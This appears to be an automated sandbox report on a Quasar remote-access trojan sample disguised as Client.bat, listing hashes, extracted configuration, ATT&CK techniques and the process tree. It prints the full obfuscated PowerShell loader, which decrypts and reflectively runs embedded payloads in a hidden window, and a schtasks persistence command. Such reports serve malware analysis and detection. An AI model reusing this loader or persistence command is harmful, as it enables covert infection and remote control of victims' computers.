quasar | 9618961af8c6db27588c649679634bec7ece8fabd3e48f02f33ac0b837b56d2e

Analysis

max time kernel
91s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15-07-2024 16:14

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General

Target

zvgfd-main/Client.bat
Size

1.6MB
MD5

439120f796ed4977f594bea8bd82cf31
SHA1

4584ec947309d2c0d3aa0b7af99a74e914649f1f
SHA256

a2ef6988f4d2669de231d1857b5fb9b64d0069252db3c017498a065f2d1574cc
SHA512

605f0958b42a350f9b4a01cfb47e17d6d095a4a299ad182c537016d5fb1e83c3860d4141cae74242644504aac6b3b5378e6c4551b1bba918bb793fe8e883a49b
SSDEEP

24576:JlkfZfen9VM4J5pHntF5rAkcVYymcJQy+DFayCGw/+MjKOqfVZ8gl5fMR/wXR9D5:JwfenPM4jFX16Y0QXS/+MuOECE6dQ

Score

10^/10

quasar testing execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.2

Botnet

Testing

127.0.0.1:4782

Mutex

da53512e-6c73-406a-b1ee-fcfefff35b99

Attributes

encryption_key
4B317113B678FE9A27AFEB228E60516202859C8D
install_name
$77~HWllo.exe.exe
log_directory
Logs
reconnect_delay
3000
startup_key
$77~Update
subdirectory
$77~TEMP

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral3/memory/4892-15-0x000001927D710000-0x000001927DA34000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4892	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3576	$77~HWllo.exe.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\$77~TEMP	powershell.exe
File created	C:\Windows\System32\$77~TEMP\$77~HWllo.exe.exe	powershell.exe
File opened for modification	C:\Windows\System32\$77~TEMP\$77~HWllo.exe.exe	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3572	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4892	powershell.exe
4892	powershell.exe
3576	$77~HWllo.exe.exe
3576	$77~HWllo.exe.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	3576	$77~HWllo.exe.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3512 wrote to memory of 4892	3512	cmd.exe	87
PID 3512 wrote to memory of 4892	3512	cmd.exe	87
PID 4892 wrote to memory of 3572	4892	powershell.exe	89
PID 4892 wrote to memory of 3572	4892	powershell.exe	89
PID 4892 wrote to memory of 3576	4892	powershell.exe	91
PID 4892 wrote to memory of 3576	4892	powershell.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Client.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xJw0qxbvy2e5E+kymgZPIMGoA6fqk1en/iSXbiH7YCA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('koOlFjUNdaFTz7/D0mS0pg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EAeaN=New-Object System.IO.MemoryStream(,$param_var); $exKaE=New-Object System.IO.MemoryStream; $SIYdw=New-Object System.IO.Compression.GZipStream($EAeaN, [IO.Compression.CompressionMode]::Decompress); $SIYdw.CopyTo($exKaE); $SIYdw.Dispose(); $EAeaN.Dispose(); $exKaE.Dispose(); $exKaE.ToArray();}function execute_function($param_var,$param2_var){ $hIoGB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NhWqy=$hIoGB.EntryPoint; $NhWqy.Invoke($null, $param2_var);}$WzOZn = 'C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Client.bat';$host.UI.RawUI.WindowTitle = $WzOZn;$QigrC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($WzOZn).Split([Environment]::NewLine);foreach ($mmglW in $QigrC) { if ($mmglW.StartsWith(':: ')) { $fLOwg=$mmglW.Substring(3); break; }}$payloads_var=[string[]]$fLOwg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "$77~Update" /sc ONLOGON /tr "C:\Windows\system32\$77~TEMP\$77~HWllo.exe.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3572
- - C:\Windows\system32\$77~TEMP\$77~HWllo.exe.exe
    "C:\Windows\system32\$77~TEMP\$77~HWllo.exe.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ubxxerh5.ush.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\$77~TEMP\$77~HWllo.exe.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/3576-38-0x00007FFF806F0000-0x00007FFF811B1000-memory.dmp

Filesize
10.8MB

Download
memory/3576-35-0x00000256661B0000-0x0000025666226000-memory.dmp

Filesize
472KB

Download
memory/3576-34-0x0000025665EE0000-0x0000025665F24000-memory.dmp

Filesize
272KB

Download
memory/3576-33-0x00007FFF806F0000-0x00007FFF811B1000-memory.dmp

Filesize
10.8MB

Download
memory/3576-32-0x00007FFF806F0000-0x00007FFF811B1000-memory.dmp

Filesize
10.8MB

Download
memory/4892-12-0x00007FFF806F0000-0x00007FFF811B1000-memory.dmp

Filesize
10.8MB

Download
memory/4892-16-0x00007FFF806F0000-0x00007FFF811B1000-memory.dmp

Filesize
10.8MB

Download
memory/4892-15-0x000001927D710000-0x000001927DA34000-memory.dmp

Filesize
3.1MB

Download
memory/4892-14-0x000001927D560000-0x000001927D690000-memory.dmp

Filesize
1.2MB

Download
memory/4892-13-0x000001927B1F0000-0x000001927B1F8000-memory.dmp

Filesize
32KB

Download
memory/4892-0-0x00007FFF806F3000-0x00007FFF806F5000-memory.dmp

Filesize
8KB

Download
memory/4892-11-0x00007FFF806F0000-0x00007FFF811B1000-memory.dmp

Filesize
10.8MB

Download
memory/4892-36-0x00007FFF806F0000-0x00007FFF811B1000-memory.dmp

Filesize
10.8MB

Download
memory/4892-10-0x000001927D2F0000-0x000001927D312000-memory.dmp

Filesize
136KB

Download